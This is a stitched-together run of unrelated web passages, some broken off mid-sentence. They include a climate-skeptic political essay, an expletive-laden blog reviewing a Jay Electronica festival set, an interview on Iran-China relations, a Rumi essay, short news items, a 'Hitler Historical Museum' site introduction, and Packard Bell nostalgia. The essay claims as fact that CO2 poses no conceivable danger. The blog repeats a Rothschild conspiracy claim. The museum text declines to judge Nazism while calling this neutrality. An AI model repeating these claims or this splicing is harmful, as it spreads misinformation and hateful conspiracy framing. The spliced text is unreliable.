Entry into the United States on January 27. WA Attorney General Bob Ferguson, one of the Attorneys General United for Clean Power, filed a stinky lawsuit against President Trump and succeeded to halt implementation of the Executive order. 129 corporations, who hold monopolies in internet search, “social media,” TV and movie streaming, as well as other markets for speech and press, filed an Amici Brief supporting the rogue attorney general against the president. Their reaction to the Executive order was so out of proportion that an analogy with climate alarmism immediately sprung to mind. Here, I do not recite the original Executive order because I expect that readers did not trust to the fake stream media reporting about it. Some of the social dynamics behind this overreaction are described in the essay When Silicon Valley Went Off the Cliff. This new low looks like a development of climate alarmism compressed in time from 30 years to 10 days and happening on the scale of corporations instead of nations. Like a small scale experiment with societal instability, one might say. Richard Lindzen briefly addressed the phenomenon of societal instability in his now classic article Global Warming: The Origin and Nature of the Alleged Scientific Consensus (1992): “What the above amounts to is a societal instability. At a particular point in history, a relatively minor suggestion or event serves to mobilize massive interests. While the proposed measures may be detrimental, resistance is largely absent or co-opted.” The latest social experiment, performed by the Left on the executives of some of the most powerful, wealthiest, and sophisticated corporations, confirmed the power of bogus issues. CAGW narrative has developed into its present formidable form because it is a completely bogus issue. CO2 emissions present no conceivable danger. Unlike real issues and conflicts, bogus issues are one-sided. There are only two positions to be had on bogus issues: being concerned (a high degree of concern is alarm) or being unconcerned. Unconcerned people just move on. For example, a scientist who can choose a topic of research would not work on a bogus issue when he or she can work on a real one. An honest reporter cannot cover a bogus issue. The most he or she could do is write an article with a title like, “Why X Should not Interest You,” and then move on to other subjects. Therefore, promoters of a bogus issue meet no opposition. If they pitch a reporter and the reporter turns them down, they can move on to the next reporter until they find one who believes them. If they have sufficient resources, the alarmists can promote his reporting and force others to follow. That was the case with global warming in the ‘80s and ‘90s. The power of ACT NOW! is well known in marketing and advertising. Climate alarmists are not alone in using this slogan. Infomercial channels are built around act now
be. Cold Joe Smith, a true gentleman and one of the most stand up geezers I know, excelled himself once again by essentially keeping me upright throughout the evening so I got to where I needed to go. Thanks Joey, you're a legend.If you've never been to Outlook before (and I'd recommend it), basically you're all on the beach all day, drinking and chilling. As the sun is going down the gates to a large fort are thrown open and you are presented with a number of choices of venue, located both inside the castle and also down and around many twisting lanes, moats and dungeons. It's cool. Jay Electronica was due to perform in a surprisingly small area just outside the castle itself. And off we stumbled.When we got in, J-Rocc was playing. All good. I was waved to within an inch of losing control at this point, but I had made it and only needed to wait another half hour, so I stomped to the front with a gang of booze and gripped on to the metal fence partition for dear life. I was getting the best seat in the house for this shit and nobody was going to stop me. J-Rocc played, I danced (or at least did my approximation of dancing) and Joey and I did our little two step for a while until, finally, my life-defining moment was nearly upon me. J-Rocc packed it up, the lights went down, the anticipation in the air rose palpably and a figure, shrouded in the dark, gave us the traditional 'CHECK 1-2'. And then, as they say, shit got real. Really real.He was drunk. Not Christmas day drunk, not Friday night drunk, not even stag on the stag-do drunk. We're talking balls-out, angular eyed, bow legged, blind-as-a-bat, fuck feeling this in the morning you're going to feel it next week DRUNK. He was clutching the biggest bottle of Jack Daniels I have ever seen - you know, like one of them stupidly big ones that people with more money than sense have in their houses to 'look cool' or whatever - and he wasn't shy with it. He did, however, caveat the entire situation and that of the one to come with the following words (and I'm paraphrasing here, because I was also mortal) - "I get drunk when I do shows because I get really nervous." Not what I wanted to hear.Yes, I was wasted. Yes, I was barely standing. But the overwhelming feeling of disappointment dropped on me like an anvil. I had my analytical mind on, despite my inebriation - after all, I had been looking forward to this precise moment for months and had spent a fair amount of money to get me in the position I was in, let alone giving my depression the temporary finger to allow me to go anyway. But, in all honesty, that is the last thing you want to hear a performer say at ANY gig, let alone one of this magnitude. As I said, bad start, but I've performed drunk enough times so I figured it couldn't be that bad. I was WRONG. Dead wrong.The following transpired over the course of around, as I remember, 33 minutes. His set was due to be 45.He started a track. I can't remember which. Fluffed it within 16 bars. Too drunk. He might have tried it a second, maybe even third time, with the same results. Mortally drunk.WHEEL IT UP WHEEL IT UP WHEEL IT UP FUCK THAT SHIT, or words to that effect.Cheers. Actual cheers. I'm confused.Blabber blabber blabber, blah blah blah. All talk. No songs, no rapping.He might have attempted another track at this point, he might not have done. If he did, he fucked it up. This I can guarantee. But that didn't matter, not to him anyway, and seemingly not to anybody else either apart from muggins here. The only thing that mattered at this point was STAGE INVASION! STAGE INVASION! STAGE INVASION!Crowd empties and rushes the stage. I'm still clinging onto the front rail at this point. He had done nothing, literally NOTHING to justify a fucking stage invasion or any other behaviour to warrant any other stupid, pointless, immature school boy demands at this point. But the crowd gleefully accepted the offer; anything to be on stage with 'The Great' Jay Electronica. The great Jay Electronica who, at this juncture, had not seen fit to even complete a single song. A single VERSE, for that matter. I reckon about 15 minutes had passed by this point. My not-impressed levels were growing exponentially. But it's OK, you know, he's having fun, they're having fun, maybe I'm the one with the problem, right?Security are getting a little tetchy with his antics at this point and, after a few more precious minutes had elapsed, cleared the stage for him to presumably continue with his'show'. And continue he did - in exactly the same drunken, non-committal, bullshit no-rapping-ass way he did before. I think at this point he attempted another song, failing miserably. As before.Next, after probably a total of 3 minutes of completely cocked up rapping had been attempted, came the crowd surfing. Of course! Crowd surfing! I mean, there's a raised stage and a crowd, what else are you going to do? Use the electrical equipment present to actually perform songs, or jump into the beckoning arms of the drug addled crowd to enjoy their adulation that you clearly so desperately need to feel any level of self worth in that rugby ball head of yours (more on that little bit of psychoanalyisis later)? The latter, of course! And there I was, stupid me, expecting to see some actual rapping. From a 'professional' rapper who never releases any music and barely ever performs. Slowly, the pieces started slotting into place, even through the crashing waves that my brain was drowning in.Crowd surfing completed, he may or may not have attempted to rap again. It genuinely doesn't matter. It's what came next that matters.On the other side of the metal partition that I was initially clinging too so desperately was a slightly raised platform, designed so the performer can stand within a few inches of the crowd but still be seen by all. Jay Electronica, approximately 33 minutes into his'set', mounted said platform directly in front of me to talk more slurry, drunken shite and not rap. I'd had enough by this point. I not-so-politely poked him in the stomach and beckoned him closer, interrupting whatever bullshit 'god on earth' monologue he was flapping his lips through. I said, and I quote :"Are you actually going to do any rapping, or are you just going to talk shit for your entire set?"Drunken eyes met drunken eyes and, for a moment, I thought my genuine question might be taken as a form of challenge by which he could undo all of the wrong that he had done over the previous 30 minutes and actually make the last 15 count. I was depending on him to be an adult, and a professional at that. I was gravely mistaken.Do you remember being a kid in the playground at school? When one of the other kids who was emerging as some what of a social magnet would start up an inane chant, usually at the expense of some other kid who was in no position to do anything about it other than fight (if they could)? You know, that classic sign of low self esteem that is shared by insecure bullies with a platform the world over? Yes? Well. That happened. To me."This guys a hater! Hey everyone, this guys a hater!!!!", he proclaimed. And thus the chants, to be joined in with by every member of the crowd bar me and maybe a few others."HAAAAATTEEEERRR. HAAAAATTEEERRRR. HAAAAAAAAAAATTTTEEEEEEEEERRRR."You get the picture. I'm blitzed out of my god damned gord and nowshit is going down. I was genuinely speechless; add the fact that there was literally nothing I could do and so I just stood there, gobsmacked."HAAAAATTEEEERRR. HAAAAATTEEERRRR. HAAAAAAAAAAATTTTEEEEEEEEERRRR."Seconds turned to minutes turned to hours. In a position of complete impotence and somewhat fearing for my safety at this point, I quickly retreated back to where a few of the gang were cotching and we got the fuck out of there. What happened afterwards is a blur but it wasn't long before I retreated back to my hotel and passed out - hard. I could barely speak or stand up and the looks of concern on my friend's faces were clear even to me, given the state I was in. The day was done.Cue the next morning. We've all been there. Wake up and realise you're a living, breathing human being to be swiftly followed by the realisation that you're a living, breathing human being with the mother of all come downs and hangovers crammed into the few inches of matter between your ears. And with the realisation came the memories of the night before. Oh dear, Dave. Deary, deary me.I got up, showered and returned to the beach with my proverbial tail between my legs but with a palpable feeling of anger still churning in my gut. It wasn't long until I knocked into the guys. Nobody mentioned anything about the 'Jay Electronica incident', for which I was grateful, and at the time part of me figured that if everyone was as fucked as I was then maybe it wasn't that big of a deal. But it was still irking me, so I did a little gentle digging to find out what had happened after I was so unceremoniously chased out of the giant 9 year old's personal playground. The resulting reports were.... satisfactory. To say the least.With the remaining 10 or so minutes he did manage to crank out 'Exhibit C', as referenced in the Outlook highlights video (the editors must have worked overtime to get that looking like something resembling a famous rapper performing a show like a professional), but how much of it he managed I know not. What I do know is that the moment his 45 minutes were up the lights came on and the mic went off.This displeased the great Jay Electronica greatly. Maybe the realisation that he hadn't actually performed one whole song had dawned on him; maybe he was having so much fun that he felt slighted; or maybe, just maybe, he's an insecure prick who drinks for self esteem and, in turn, starts genuinely believing that he's the rapping version of Prince or any other artist who is actually worth your time and effort and he should therefore be treated as a male Mariah Carey, diva-ing his way through life with a basket of fucking puppies on his rider. It matters not.Lights on, mics off. But that won't stop Jay, oh no. Cue the shouting, screaming tantrum, with words to the effect of "FUCK OUTLOOK FESTIVAL, FUCK THE SECURITY, I'M JAY ELECTRONICA, YOU'RE NOT SHUTTING ME DOWN" rah di rah, blah blah bullshit. And then, so I'm told, as he was being politely shepherded off stage by the security (as he was refusing to leave of his own accord), he managed to trip and fall over in full view of everyone, cementing his legacy as the biggest prick of the whole weekend. Maybe it was that 800 litres of JD he necked to 'calm his nerves'.Either way, and needless to say, I felt fucking great. I felt, and still feel that I made a genuine stand for the culture that night and told the cunt exactly what I thought of his performance. I'm sure KRS would have taken it a step further. What. A. Prick.Now, since that time I have obviously disposed of any and all evidence of Jay Electronica from my life. If the odd mp3 jumps on in a shuffle, it is quickly skipped, including 'Exhibit C'. I literally can't even hear the man's voice or look at that stupid fucking face on that giant melon head of his without my blood pressure rising. Oh, how things have changed.You may be wondering why I've shared this now, rather than before. Truthfully there are two reasons. One, I have been dealing with my own issues and, as such, have not been writing this blog for two years. Otherwise I would have done it earlier. And two? Well. Let's just say that, as we all know now, every so often this insecure, emotionally unstable psychopath crawls out from under whatever rock he's been hiding beneath to talk some absolute shite on the internet in an effort to, I presume, remain'relevant'. And thusly he has done so recently, talking shit about one Kendrick Lamar.Remember what I said earlier about that one artist popping up every so often to restore my faith in the music? Well, Kendrick is that dude. Without straying too far off topic I genuinely think the guy is incredible for a number of reasons. Technically a great rapper, covers all angles, incredible lyricist, politically minded but not in-your-face with it, grounded, down to earth guy, etc etc. Not to mention his two albums (I haven't checked the new joint yet) are, in my opinion, two of the best Hip Hop albums of recent times. At this moment the guy can do no wrong in my estimations. Basically he's everything that Jay Electronica isn't.So they do this 'Control' track and Kendrick absolutely bodies it. Drops one feature verse and proves himself to be without peer in the game in between making two albums of amazing music with nary a battle verse in sight. "It's funny how one verse can fuck up the game." Indeed.Of course, Jay Electronica has the displeasure of going after Kendrick on the beat and rapping about angel wings and Egyptian scriptures and all that other complete bullshit that I used to buy into. Of course, I wasn't checking for him by this point, but it was a pleasure just to hear Kendrick burn him so comprehensively.However, obviously operating in the full knowledge that Kendrick has popped that fucking beach ball head of his for good, he pipes up on some bullshit Q&A session whilst taking a break from rolling around in Rothschild money to give his opinion on the track. And, of course, he's full of shit. 'Kendrick is my son, I made Kendrick Lamar, he didn't say anything in his verse, I had the better verse, everyone knows it' etc etc etc. Absolute, grade A solid gold bullshit.He obviously hasn't been keeping up on current events as far as 'Black Lives Matter' protestors adopting one of Kendrick's fucking songs as the official theme for fighting the power. Fighting injustice. Fighting for equality. Protesting in the face of police brutality. All the while Jay Electronica is flitting about the English countryside and shooting ducks with his billionairess waif by his side (I assume).While Jay Electronica is hiding in his little hole and doing precisely fuck all, writing bullshit verses about being a black saviour or black jesus and drinking from the everlasting fountain of youth with Abyssinian angels, and NOT releasing any music, Kendrick's music is currently having this effect on real people, in real life, with real problems, looking for real solutions.Not to mention behaviour like this :Not hiding away and TALKING about doing shit. ACTUALLY DOING SHIT. Making a difference in the world. Using his platform to send an important message and to try and do some good in the world, all the while making incredible albums of music. Basically everything Jay Electronica isn't doing, and never, ever will do. Talk about self obsessed, delusional thinking.Does anyone give a shit if this clown ever releases an album now? You know my take on this. As I read the other day, 'Jay Electronica is the only dude who's been up and coming since '05'. Doing your best mean girls impression with your little fan base on your little online Q&A session will do nothing to change the fact that nobody really cares anymore. Nobody gives a shit about the breath in the trees or how many messages from Moses you found in a laminated wooden box at the top of a fucking mountain.Kendrick Lamar you are NOT, you big brick headed motherfucker. Get drunk, get on Twitter and get Erykah Badu and Jay Z to call you to shut it down because you're a drunken prick with no self control. Delete all of your Twitter posts. Repeat every so often. Never grow up, you Peter Pan ass motherfucker.. Maybe the black god should try growing up, maybe laying off the booze and ego stimulants and try NOT being a cock sometimes. Or you could release some music? Maybe not.Ladies and gents, I give you Jay Electronica - a true twat amongst men.And, as a footnote, let us not forget that he stole his Mrs off some other guy, even if he was a 1% tory douche bag. Snakey motherfucker. And bearing in mind that she is a Rothschild, it may be worth considering that they are pretty much single handedly responsible for the gap between rich and poor in this world. Literally. What a fucking joke. Are they still together? Who knows. Who cares?So yeah, Jay Electronica. Can't wait for the album mate. When's it dropping? Oh yeah, two thousand and NEVER. Get fucked you butter nut squash headed dweeb. Suck out for eternity.Sincerely,A one time fan who got wise to your bullshit.God I hate this prick.Otherwise, it was a real swell time. Big up Rag N Bone, Beth (thanks love!), 184, Neil B, Beth 2, Cold Joe Smith, Tyni, Dabbla, Sumgii, Lulu, Marieke, Syntax, Pete Cannon and anyone else that was there that I clearly don't remember. Oh, and Scottish Andy. Thanks, man.The Iranian Revolution of 1979 redefined Iran’s relations with China. Whereas Mohammad Reza Pahlavi had largely ignored the country, Iran’s revolutionaries saw in China a powerful nation that shared their antipathy toward Cold War superpowers, and was prepared to supply arms. 1979 was also a milestone year for China, as it marked Deng Xiaoping’s introduction of economic reforms that helped make China the energy-hungry economic giant it is today. Iran has long relied on China to use its position on the United Nations Security Council to shelter Tehran diplomatically, but China departed from that tradition in 2010, when it supported UN resolution 1929, which sanctioned Iran over its nuclear program. Today, China awaits the opportunity to invest without restriction in Iran, while some in Iranian government look to China as a development model. Alireza Nader, an international policy analyst at the RAND Corporation and co-author of China and Iran: Economic, Political, and Military Relations, spoke to IranWire about the relationship. What considerations drew Iran and China together after the 1979 revolution? Iran relied on China because it was isolated, and needed weapons during its war with Iraq. Both the Chinese government and the Iranian government were the result of ideological revolutions, and they shared similar objectives. They were both resentful of past Western intervention in their countries, and neither of them was aligned with the United States or the Soviet Union, although the US and China had a pretty good relationship after President Richard Nixon visited in 1972. There was a sense that as ancient civilizations that had been wronged by the West, they could work together. What are China’s long-term interests in the Middle East, and how does Iran fit into the Chinese strategic trajectory? The major factor is energy. As China became a net importer of oil and gas in 1993, they saw the Middle East as an important, reliable source. China has good relations with all the major Middle Eastern oil producers: Saudi Arabia, the United Arab Emirates, Kuwait, and Qatar. It also has good relations with Israel and Turkey. China hasn’t become very involved geopolitically in the Middle East, and it doesn’t have a major military or security presence. But the Chinese are worried about the rise of Islamic radicalism. There have been reports of Chinese Muslims fighting in Syria and Iraq. The Islamic State has claimed that it is interested in extending its caliphate to western China; some Chinese reacted with alarm, and others laughed it off. Just because China is not involved in terms of security in the Middle East right now doesn’t mean that will remain the status quo in the future. I don’t believe that China wants to get involved in the Middle East in the way that the US and the major European powers and Russia have been, but it is worried about its ability to rely on major oil producers. What are the most important forms of assistance China has provided Iran, and what has Iran most valued? Historically China was an important weapons supplier to Iran, not just during the Iran-Iraq War, but also after the war. It has helped Iran develop its own indigenous capabilities, for example anti-ship cruise missiles. Initially China helped Iran with its nuclear program, although it hasn’t provided any direct assistance in years. The most important aspect of the relationship is economic. China is, despite sanctions, Iran’s number one oil customer. While China has largely complied with sanctions, and Chinese companies have frozen a lot of activities and investments, the Chinese are looking to get back into Iran in a serious way if there’s a nuclear deal and sanctions are eased. China has protected Iran from isolation for decades, perhaps more than any other country. How dependent is Iran on China? Iran has become economically dependent, or you might argue over-dependent, on China. But in the long run the Chinese want to have normal, productive relations with Iran. They don’t want to dominate Iran or interfere in its affairs or dictate its government. For years, especially under the Ahmadinejad government, Iran saw China as its most important economic and geopolitical partner. But I would never describe the two countries as allies or strategic partners because the Chinese don’t see it that way. They take a more hands-off approach. The Iranians were surprised that China went along with US sanctions when they voted for UN Security Council Resolution 1929 in 2010, which imposed the last round of UN sanctions on Iran. Overall China has gone along with sanctions and they have really curtailed their purchase of Iranian oil. There was a sense of betrayal there, Iran’s leadership expected closer cooperation. The Ahmadinejad government was upset about that. How did the US convince China to support that resolution? The Obama administration did a good job of convincing the rest of the international community that Iran’s nuclear pursuit was, and remains, a major global security concern. The US was successful because it also convinced other players that it wanted to resolve the nuclear issue diplomatically. That helped China to come on board. Did China ever have a genuine fear of US military action against Iran? They may have had a more genuine fear of Israeli military action, but they were worried about military conflict in the Persian Gulf because they are heavily reliant on oil from the region, much more so than the United States. A military conflict, if it had cut off oil supplies, would have been potentially devastating. Would China care if Iran was nuclear-armed, or was backing sanctions simply a matter of pleasing the international community? China would not want Iran to have nuclear weapons. It’s an issue of proliferation. Why have additional states with nuclear weapons when that could lead other states to consider developing those capabilities? The Chinese are concerned, but there isn’t a history of bitterness and rivalry between Iran and China, and China doesn’t view Iran necessarily as a dangerous power. At the same time, China wants to be seen as a responsible international power. What tools has the US used to influence China’s relationship with Iran? The biggest form of leverage the US has is its economic relationship with China. Under the terms of US sanctions against Iran, if foreign companies and countries do business with Iran, they can’t do business with the US. The US is a larger market, so naturally China is going to value its relationship with the United States more. To what extent has the China-Iran relationship been triangular, in the sense that the US is always the other big player in the room? US interests toward Iran really impact China’s attitude towards Iran. If the US sees Iran as hostile, China is less likely to get too close to Iran. It will be interesting to see, as tensions between China and the US grow, especially in East Asia, how the Chinese react to that. Are they going to become even closer to Iran? If there is a nuclear deal, will they start selling weapons to Iran? That’s a big unknown. Have Chinese or Iranian leaders ever expressed anxiety that the other’s country might become more open politically? The fact that both countries are relatively authoritarian or non-democratic and reject Western intervention in their domestic affairs makes them more reliable partners for each other. China would be concerned if Iran became more democratic, or aligned with the West. For China and Russia, the U.S.-Iranian rivalry does pay off, because Iran is the only major Middle East power that is not allied with the United States. Why did Iranian protestors express anti-Chinese sentiments in 2009? One major reason was because they saw China and Russia as the foreign powers closest to the Ahmadinejad government. There were reports that China helped Iran’s security forces with equipment to monitor Internet communications and that China provided armored personnel carriers. Even if Chinese assistance to the Iranian government wasn’t that significant, there is always the perception in Iran that foreign powers are meddling in Iranian affairs. Conservatives in Iran tend to blame the United States and the United Kingdom. In 2009, their opponents within the Green Movement blamed other powers like China and Russia. At that time, China and Russia were pretty close to Iran. We hadn’t seen Russian and Chinese support for strong sanctions against Iran. They were viewed as enabling the Ahmadinejad government. Does China now represent a development model for regime-loyal pragmatists like Hassan Rouhani, in the sense that it improves living standards without opening up politically? People like former President Akbar Hashemi Rafsanjani have always wanted Iran to become an economic power, but it’s not clear how they have tried to emulate the Chinese model, because Iran’s economy is very state controlled and tightly regulated and dependent on energy exports. They haven’t made fundamental economic changes to emulate China. They talk a lot about it. I really do think that centrist politicians in Iran, and especially some of the more moderate conservatives, see China as a potential role model because it has developed economically in a tremendous way in the past few decades and has achieved that while remaining authoritarian, and ostensibly communist.Iran's officially recognised "spiritual leader" today may be Ayatollah Khamenei, but for hundreds of years before the current establishment of mullahs and ayatollahs, Iranians of all creeds have looked to another spiritual leader: Jalal ad-Din Rumi. While this 13th-century Persian Sufi poet is known in much of the west as "Rumi", he is referred to more affectionately in Iran as "Mowlaana," or the Master. Among Iranians, he is a spiritual guide and guru whose words hold unmatched moral authority. More than 700 years after his death, it is nearly impossible to spend a day walking around any Iranian city, suburb or village and not hear his echo. His words live on in everyday parlance – no matter one's station, religion or occupation, everyone in Iran knows at least a handful of Rumi's poems by heart. They are taught in classrooms as an essential part of the basic curriculum, but more than that, they are learned in homes, cafes, bazaars, parks and houses of worship. No place is beyond this poet's influence. And there is no better way to understand that influence than through Rumi's own verse, although it often defies easy translation. Still, English speakers have a wonderful resource in understanding Rumi – and Iran – through the translations of Coleman Barks, including the following: "Today, like every other day, we wake up empty and frightened. Don't open the door to the study and begin reading. Take down a musical instrument. Let the beauty we love be what we do. There are hundreds of ways to kneel and kiss the ground." Understand this poem, and you will understand the soul of Iran – not just the role of religion or dogma, but the spiritual role of faith, love and beauty. While Iran is a Muslim majority country and Shi'ism is the official state religion, Iran is not defined by Islam. Rather, it is defined by its peoples, who are Muslims, Jews, Baha'is, Christians, agnostics and atheists. Iran is the birthplace of two of the world's great religions: Zoroastrianism and Baha'ism. It is home to millions of Muslims, but also to the largest Jewish population in any Muslim majority country. So, Iranians know very well that there are at least hundreds of ways to kneel and kiss the ground. Nevertheless, the Iranian regime maintains an intractable identification with its interpretation of Islam, and as such, it has played a strong role in shaping the Iranian people's view of both Islam and of religion in general. Because of the regime's use and perversion of Islam for political purposes, many Iranians have been turned off by religion – especially among the youth who represent the vast majority of the population. As young Iranians, we have seen the government's persecution of Baha'is and Jews and its failure to provide equal rights to women, and we realise that this regime has forgotten its roots. It has forgotten the words of the great Master, Mowlaana. Instead of taking down a musical instrument to treat the fear, despair and emptiness that have consumed so many young Iranians (particularly since the 2009 elections), Iran's leaders have brought out batons, bullets and teargas. As a result, people have continued to turn away from organised religion, particularly from Islam, because they have seen how the regime is manipulating their faith to oppress the populace and suppress dissent. Nevertheless, there is a spiritual unity in this growing collective repugnance for religion – it is encouraging us to unite as Iranians of all backgrounds and beliefs under the most basic and universal spiritual teachings that Rumi and other Sufi poets captured so brilliantly: the notion that music, art, poetry, and above all, love are our greatest spiritual resources. In Iran, such resources are more abundant than oil, saffron and pistachios combined, and they represent the truest faith of the masses. • This article is part of the series "Religion, politics and the public space" in collaboration with the United Nations Alliance of Civilizations and its Global Experts projectDrones could bring innovation to a lot of industries, from shipping to farming. As we reported on SmartPlanet, drone use in farming could improve crop health and yield and reduce pesticide and water use. Only one problem: they're banned in the United States for commercial use. But, good news! The U.S. Federal Aviation Administration is considering lifting that ban... for Hollywood. Priorities. In a statement from the FAA, seven aerial photo and video production companies are asking for an exemption from the FAA that would allow the television and film industries to use unmanned aircraft systems. "If the exemption requests are granted, there could be tangible economic benefits as the agency begins to address the demand for commercial UAS operations," the FAA statement said. "However, all the associated safety issues must be carefully considered to make sure any hazards are appropriately mitigated. The petitioner must still obtain operational approval from the FAA." But the FAA isn't leaving out the farmers, or the other industries -- like electric utilities and oil -- that are lining up to receive a drone exemption. With regards to all industries seeking exemption, the FAA says it has been "working for several months to implement the provisions of Section 333 of the FAA Modernization and Reform Act of 2012 and move forward with UAS integration before proposing a small UAS rule." Could this be a sign that drone exemptions for key industries are coming sooner than expected? Photo: Flickr/Don McCullough Related on SmartPlanet: This post was originally published on Smartplanet.comNasa scientists said today they had discovered the first direct evidence that the surface of Saturn's largest moon, Titan, has lakes of liquid hydrocarbons - the only object other than Earth to have standing liquids on its surface. But don't expect Titan to become a holiday resort any time soon: it is 1.2bn kilometres away, has temperatures falling to -139C and features the occasional downpour of methane rain. Titan is the second largest moon in the solar system after Jupiter's Ganymede. It has a thick atmosphere and is larger than the planet Mercury. Nasa's research used data from the Cassini-Huygens probe - a joint venture by Nasa, the European Space Agency and the Italian Space Agency - which arrived there in 2004. More than 40 flybys of Titan by the probe established that the moon did not have large global oceans of methane, ethane and other light hydrocarbons as scientists had previously suspected. Instead, Cassini sent back images of hundreds of dark lake-like features, but it was not clear whether these were liquid or dark solid material. The researchers looked closely at a 20,000 square-mile dark region called Ontario Lacus near Titan's south pole that was observed by Cassini in December last year. The team trained an instrument on the lake that can chemically identify material based on the way it absorbs and reflects infrared light. They confirmed that Ontario Lacus was liquid ethane. The results were published in today's edition of Nature. "This is the first observation that really pins down that Titan has a surface lake filled with liquid," said Dr Bob Brown of the University of Arizona, Tucson, who was involved in the research. Due to Titan's distance from the sun and an anti-greenhouse effect caused by Titan's orange-hazy atmosphere, no liquid water can exist on its frigid surface. The moon's atmosphere is 95% nitrogen, with the rest methane, but ethane and other hydrocarbons can form from the breakdown of methane by sunlight. "Detection of liquid ethane confirms a long-held idea that lakes and seas filled with methane and ethane exist on Titan," said Dr Larry Soderblom from the US Geological Survey in Flagstaff, Arizona. "The fact we could detect the ethane spectral signatures of the lake even when it was so dimly illuminated, and at a slanted viewing path through Titan's atmosphere, raises expectations for exciting future lake discoveries by our instrument." Cassini has also observed a dark beach fringing the foot-shaped lake. A shelf and more of the beach are being exposed as Ontario Lacus evaporates.Experts and sources with knowledge of the situation say the most controversial Internet bill of the year, the Cyber Information Sharing and Protection Act (CISPA), is already dead in the water. That’s good news for the millions worldwide who have formally registered their opposition to the bill. Designed to help the U.S. fight online attacks, CISPA would make it easier for corporations that are hacked to pass what they know to government agencies—including, critics say, swaths of your private information that would otherwise be protected by law. But though CISPA resoundingly passed the House of Representatives April 18, “it is extremely unlikely for the Senate” to vote on the bill,” the ACLU’s Michelle Richardson told the Daily Dot. A Senate committee aide, who requested to not be named, told the Daily Dot that “there is no possible plan to bring up CISPA,” in the Senate. The aide cited the fact that the Senate tried to pass its own cybersecurity bill, the Cybersecurity Act of 2012 (CSA). While unsuccessful, it underscored a desire for legislation that took more explicit efforts to protect individuals’ Internet privacy. “There are just too many problems with it,” the aide said of CISPA. This is backed up by U.S. News and World Report, which has reported that a staffer on the Senate’s Committee on Commerce, Science and Transportation explicitly claims CISPA is no longer a possibility, and senators are “drafting separate bills” to include some CISPA provisions. It would hardly be shocking if the Democrat-controlled Senate declined to consider CISPA. That’s what happened last year after the bill passed the Republican-controlled House, same as this year. And in both cases, the Obama administration promised to veto the bill, citing its lack of privacy protections. CISPA has had a consistent champion, Mike Rogers (R-Mich.), who introduced the bill both times and has campaigned for it throughout the past year. By contrast, the CSA was the brainchild of Joe Lieberman (I-Conn.), who has since retired. It’s unclear how the Senate will deal with the issue of cybersecurity, which has become a hotter topic on the Hill after a blockbuster report found that the Chinese government was secretly responsible for a number of hacking attacks on the U.S. “I’ve heard that the Senate versions [of a cybersecurity bill] are in the works, but get the impression it is more long term,” Richardson said. Illustration by Jason ReedThe US debt crisis has escalated after Republicans were forced to rewrite their proposal to lift the debt ceiling, because they miscalculated how much the original plan would cut spending. In an embarrassing development for John Boehner, the Republican Congress speaker, the Congressional Budget Office (CBO) ruled on Tuesday night that his bill would have only cut spending by $850bn (£517bn)over the next decade, not the $1.2tn he had aimed for. Republicans are now racing to rewrite the legislation, and have pushed back a congressional vote on the plan from Wednesday to Thursday at the earliest. Although Boehner was already struggling to find support for his package, the delay increases the risk that Washington will fail to agree a deal to raise the debt ceiling before 2 August, when the federal government is expected to run out of money. The dollar dropped against other currencies on Wednesday morning as investors faced the possibility that America could default. Several economists believe the country will lose its AAA credit rating within months, which would push up its borrowing costs, even if the $14.3tn debt ceiling is increased in time. Stock markets also fell heavily, with the FTSE 100 index down by 76 points, or 1.3%, in afternoon trading at 5852. The Dow Jones index fell 128 points in early trading on Wall Street, to 12373. The White House said on Tuesday it was working with Congress to devise a "Plan B" that might attract enough support. The two sides have been deeply divided for weeks, with Republicans demanding deep spending cuts and Democrats anxious to include tax rises as a major part of the deal. The US people may be losing patience with their political leaders. The congressional telephone system was swamped with calls from the public on Tuesday, coming close to collapse. The websites of several members of Congress have crashed this week, after president Obama urged Americans to make
in Kiev and his eventual overthrow. President Poroshenko signed the free trade part of the EU deal in Brussels last Friday, after earlier signing the political co-operation clauses.Introduction The Hitler Historical Museum is a non-biased, non-profit museum devoted to the study and preservation of the world history related to Adolf Hitler and the National Socialist Party. True to its role as an educational museum, these exhibits allow for visitors to understand and examine historical documents and information for themselves. The museum, while acknowledging the tragedy that over 50 million people died during World War 2, retains its non-biased status by refraining from making political judgments of any sort. Neither does it make the standard, uninformative, and cliched historical judgement that the victor of the war was "good" and that the loser of the war was "bad." Instead, all materials and resources are provided as a documentation of the time period and as scholastic resources with notes for clarification. No biased judgments, slanderous labels or childish name calling exist here as they do in most of the writings on this topic. The Museum's chief concern is to provide documents and information that shed light on Adolf Hitler and the National Socialist Party. Because of the numerous contradicting, disjoint, biased, confused, and deficient interpretations that exist, few scholars are able to gather the facts and to understand and explain them coherently. Whether this failure is from a lack of information, scholarship ability, or honesty is unimportant. What is important is that historical information be made freely available and gathered into exhibits that allow researchers to derive indepedent conclusions from the relatively well preserved writings of this time period. Ideological Statement The teaching of history should convey only facts and be free from political motives, personal opinions, biases, propaganda, and other common tactics of distortion. Every claim that is made about history should also be accompanied by documentation proving its basis. Only responsible scholarship and teaching should be permitted. Those who intend to support particular political interests and agendas should have their biased historical interpretations criticized for lacking proof. Contributors If you are in possession of any artifacts, documents, images, or other material that would be worthwhile to our efforts, we invite you to contact us to arrange for its inclusion in our online exhibit. News: Hitler draws Disney characters News: Hitler's Globe Sells for $100,000 News: Hitler Paintings Auctioned in England [ Writings ] [ Speeches ] [ Images ] [ Artifacts ] [ Art ] [ Posters ] [ Friends and Compatriots ] [ Links ] Copyright © 1996-2008 - Hitler Historical Museum - All Rights ReservedIf your here at this site, chances are your into computers on some level. Im in no way a computer expert (far from it) but I am an average joe and I would like to share some of my first (and fondest) memories on computers and the internet.This isnt my computer but its the same exact model we had, im sure many of you had one of these Packard Bell's. PC World voted Packard Bell as one of the top ten worst pcs ever, but when my family brought this machine into our home in 1994 it was the greatest thing I had ever seen. We all talk about our love of our old gaming systems such as NES and Genesis, but what about your first pc? We purchase things from track jackets to belt buckles that bear the image of nintendo controlers and such but where are the t-shirts for packard bell and windows 95? Many of us talk about the hundreds of games and movies we loved as kids; but what about all the software and game applications from the past? The more we advance in technology the more these memories are lost in time.Above is the Windows 95 disc Microsoft included with each pc purchased with Windows installed. Its pretty much just a few random games and videos that showcased just what windows was capable of. Nothing special at all by todays standards; but like fire to primative cave men this was amazing to me.One of the music videos included was Buddy Holly from Weezer, one of my favorite songs at the tme. The video quality was very poor compared to MTV, but the fact that I could watch a Weezer video any time I wanted to on my computer was revolutionary. I must have watched this video a thousand times.I dont remember this movie at all. What I do remember is the trailer for it that was included on the Windows 95 disc. Now days the internet is filled with literally millions of movie trailers but this had to be the first movie trailer on a computer ever. Funny though, im sure even with it's inclusion 